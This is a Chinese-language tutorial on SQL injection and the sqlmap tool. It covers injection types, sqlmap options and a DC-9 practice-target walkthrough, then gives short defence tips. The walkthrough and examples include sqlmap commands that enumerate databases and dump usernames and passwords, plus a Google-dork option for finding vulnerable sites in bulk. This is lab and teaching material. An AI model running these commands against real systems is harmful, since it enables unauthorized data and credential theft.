sqlmap基本使用详解与sql注入防御之网络安全

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS PostgreSQL,集群系列 2核4GB
简介: 作者主页:https://www.couragesteak.com/

1 sql注入

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

2 sqlmap介绍

sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令
sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

官方网站:https://sqlmap.org/
下载地址:https://github.com/sqlmapproject/sqlmap
演示视频:https://asciinema.org/a/46601

3 支持检测类型

sqlmap 支持5种漏洞检测类型:

  • 基于布尔的盲注检测 (如果一个url的地址为xxxx.php?id=1,那么我们可以尝试下的加上 and 1=1(和没加and1=1结果保持一致) 和 and 1=2(和不加and1=2结果不一致),则我们基本可以确定是存在布尔注入的. )
  • 基于时间的盲注检测(和基于布尔的检测有些类似.通过mysql的 sleep(int)) 来观察浏览器的响应是否等待了你设定的那个值 如果等待了,则表示执行了sleep,则基本确定是存在sql注入的
  • 基于错误的检测 (组合查询语句,看是否报错(在服务器没有抑制报错信息的前提下),如果报错 则证明我们组合的查询语句特定的字符被应用了,如果不报错,则我们输入的特殊字符很可能被服务器给过滤掉(也可能是抑制了错误输出.))
  • 基于union联合查询的检测(适用于如果某个web项目对查询结果只展示一条而我们需要多条的时候 则使用union联合查询搭配concat还进行获取更多的信息)
  • 基于堆叠查询的检测(首先看服务器支不支持多语句查询,一般服务器sql语句都是写死的,某些特定的地方用占位符来接受用户输入的变量,这样即使我们加and 也只能执行select(也不一定select,主要看应用场景,总之就是服务端写了什么,你就能执行什么)查询语句,如果能插入分号;则我们后面可以自己组合update,insert,delete等语句来进行进一步操作)

4 参数

4.1 直接连接到数据库

(MySQL,Oracle,Microsoft SQL Server,PostgreSQL 等)

DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME

(SQLite,Microsoft Access,Firebird 等)

DBMS://DATABASE_FILEPATH

eg

python sqlmap.py -d "mysql://admin:admin@192.168.21.17:3306/testdb" -f --bann
er --dbs --users

4.2 -D 指定数据库

4.3 --tables 枚举指定数据库下的表名

4.4 -T 指定表名

4.5 --columns 指定列

枚举指定表下的列名

4.6 -C

后面跟列名,含义是枚举这些列的值

4.7 --dump 显示的列值

最后枚举列值时,加上此参数可以看得到显示的列值

4.8 -m 批量文件(多目标)

提供给定批量文件中列出的目标 URL 的列表,sqlmap 将逐个扫描每个 URL。
eg

www.x.com/vuln1.php?q=foobar
www.x.com/vuln2.asp?id=1
www.x.com/vuln3/id/1*

4.9 -r 从文件加载 HTTP 请求

sqlmap 的可能性之一是从文本文件加载原始 HTTP 请求。这样,您可以跳过许多其他选项的使用(例如,设置 Cookie,发布数据等)。

POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0

id=1

请注意,如果请求是通过 HTTPS 进行的,则可以将其与 switch 结合使用,--force-ssl 以强制 SSL 连接到 443 /tcp。或者,您可以将其附加:443 到 Host 标题值的末尾。

4.10 -g

将 Google dork 结果作为目标地址处理
也可以根据您的 Google 问题的结果测试并注入 GET 参数。

此选项使 sqlmap 与搜索引擎协商其会话 cookie 以便能够执行搜索,然后 sqlmap 将使用 GET 参数检索 Google dork 表达式的 Google 前 100 个结果,询问您是否要测试和注入每个可能的受影响 URL 。
eg

python sqlmap.py -g "inurl:\".php?id=1\""

参考文章:
网安:https://www.wangan.com/docs/1065

5 DC-9 靶机测试

sql.txt 为注入点信息 不做解释

在这里插入图片描述

5.1 扫描数据库信息

sqlmap -r sql.txt

在这里插入图片描述

5.2 扫描数据库

sqlmap -r sql.txt --dbs

在这里插入图片描述

5.3 直接扫描数据库

sqlmap -r sql.txt -D users --dump

5.4 扫描user数据库有哪些表

sqlmap -r sql.txt -p search -D users --tables
[1 table]
+-------------+
| UserDetails |
+-------------+

5.5 扫描 UserDetails表的列

sqlmap -r sql.txt -p search -D users -T UserDetails --columns
[6 columns]
+-----------+-----------------+
| Column    | Type            |
+-----------+-----------------+
| firstname | varchar(30)     |
| id        | int(6) unsigned |
| lastname  | varchar(30)     |
| password  | varchar(20)     |
| reg_date  | timestamp       |
| username  | varchar(30)     |
+-----------+-----------------+

5.6 扫描 UserDetails表的列值

sqlmap -r sql.txt -p search -D users -T UserDetails -C firstname,lastname,username,password --dump

6 防御sql注入

造成sql注入的主要是由于没有对特殊字符进行过滤,导致sql拼接,达到执行数据库语句的目的。危害不是一般的大,防御困难

6.1 正则化过滤特殊字符

对传入的参数严格审查,不符合要求统一系统记录,并提示管理,及时防护。

6.2 设置账号陷阱

设置类似超管账号,密码超级长,迫使分析账号密码hack心累,机器瘫痪。

6.3 严格区分超级管理与普通管理权限

  1. 严格区分系统管理员与普通管理的权限。

参考文章:
DC-9 系列
https://blog.csdn.net/crisprx/article/details/103985898
https://blog.csdn.net/weixin_44426869/article/details/104918662

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助     相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
11天前
|
SQL 安全 网络安全
网络安全的盾牌与剑:漏洞防御与加密技术的较量
【9月更文挑战第23天】 在数字世界的无垠战场上,网络安全是保护数据宝藏的盾牌和剑。本文将深入探讨网络安全的两大支柱——漏洞防御与加密技术。我们将从基础概念出发,逐步剖析网络攻击者如何利用安全漏洞进行入侵,以及加密技术如何在数据传输中确保信息的完整性和保密性。文章还将分享提升个人和组织网络安全意识的方法,以及如何通过教育和实践构建起一道坚不可摧的安全防线。
|
3天前
|
存储 安全 网络安全
揭秘网络安全的盾牌与剑:漏洞防御与加密技术
【9月更文挑战第31天】在数字时代的浪潮中,网络安全和信息安全成为了保护个人隐私和企业资产的重要屏障。本文将通过浅显易懂的语言和生动的比喻,带你深入了解网络安全漏洞、加密技术的奥秘,以及如何培养安全意识。我们将一起探索网络安全的“盾牌”和“剑”,了解它们如何守护我们的数字世界。
109 61
|
7天前
|
SQL 安全 网络安全
网络安全的盾牌:漏洞防御与信息加密技术
【9月更文挑战第27天】在数字时代,网络安全和信息安全成为维护数据完整性、保密性和可用性的关键因素。本文将探讨网络安全漏洞的概念、成因及预防措施,同时深入讨论加密技术在保护信息安全中的作用。通过分析安全意识的重要性和提升方法,旨在为读者提供一套全面的网络安全知识框架,以增强个人和组织对抗网络威胁的能力。
23 5
|
6天前
|
SQL 安全 网络安全
揭秘网络安全的盾牌与剑:漏洞防御与加密技术
【9月更文挑战第28天】在数字世界的棋盘上,网络安全是王与后的游戏。本文将带你穿梭于网络的迷宫,揭开那些隐藏在阴影中的安全漏洞,同时探索加密技术这座坚不可摧的堡垒。我们将一起审视网络安全意识的重要性,并分享实用的知识与策略,让你在这场游戏中成为真正的棋手。
|
11天前
|
安全 算法 网络安全
网络安全的守护神:漏洞防御与加密技术的深度解析
【9月更文挑战第23天】在数字时代的浪潮中,信息安全已成为我们不可忽视的重要课题。本文旨在深入探讨网络安全的两大支柱——漏洞防御和加密技术,揭示其背后的原理及应用。通过分析近期的安全事件,我们将理解安全意识的重要性,并学习如何通过技术和策略保护自己的数字资产。文章不仅提供理论知识,还将分享实用的安全建议,助您在网络世界中更安全地航行。
29 4
|
9天前
|
安全 物联网 网络安全
网络安全的盾牌:漏洞防御与信息保护策略
【9月更文挑战第25天】在数字时代的浪潮中,网络安全和信息安全的重要性日益凸显。本文旨在探讨网络安全漏洞的成因、加密技术的应用以及提升安全意识的必要性。通过深入浅出的分析,揭示网络攻防的复杂性和对策的多样性,强调个人和企业应如何构建坚固的防线以保护数据不受威胁。
|
12天前
|
安全 算法 网络安全
网络安全的盾牌与矛:漏洞防御与加密技术解析
【9月更文挑战第22天】在数字世界的棋盘上,网络安全是一场没有硝烟的战争。本文旨在揭示网络攻击的常见手段和防御策略,探讨如何通过提升安全意识和应用加密技术来保护信息安全。我们将从网络安全漏洞的类型、成因讲起,进而分析加密技术的原理与实践,最后强调培养良好的安全习惯的重要性。文章将用浅显的语言和生动的比喻,带领读者走进网络安全的世界,理解其复杂性并掌握基本防护知识。
|
5天前
|
安全 网络安全 数据安全/隐私保护
网络安全的盾牌与剑:防御漏洞与加密技术
【9月更文挑战第29天】在数字时代的战场上,网络安全成了保护信息资产的关键。本文将通过浅显的语言和生动的比喻,揭示网络攻防战中的重要角色——安全漏洞和加密技术。我们将一起探索如何识别和修补安全漏洞,以及如何运用加密技术来加固我们的数字防线。文章旨在提升公众的安全意识,并分享一些实用的安全措施,让我们每个人都能成为信息安全的守护者。
|
8天前
|
安全 网络安全 API
网络安全的盾牌与剑:漏洞防御与加密技术的较量
【9月更文挑战第26天】在数字世界的无垠沙场,网络安全成了守卫数据宝藏的坚固盾牌和锋利之剑。本文将深入剖析网络安全的两大关键领域:安全漏洞与加密技术,揭示它们如何影响我们的网络环境。我们将从漏洞的诞生谈起,探索它们是如何成为黑客的利器,同时也将了解加密技术如何成为保护信息安全的坚固堡垒。此外,提升个人和组织的网络安全意识同样至关重要,因此,我们还将讨论如何通过教育和实践来增强这种意识。让我们携手,共同构建一个更安全的网络环境。
|
9天前
|
SQL 监控 安全
网络安全与信息安全:漏洞防御、加密技术与安全意识的深度剖析
【9月更文挑战第25天】在数字化时代,网络安全与信息安全是保护个人隐私和组织数据的关键。本文将深入探讨网络安全漏洞的类型及其防御策略,介绍加密技术的基本原理和应用,并强调提升安全意识的重要性。文章旨在为读者提供实用的知识分享,帮助他们在网络空间中更安全地航行。
下一篇
无影云桌面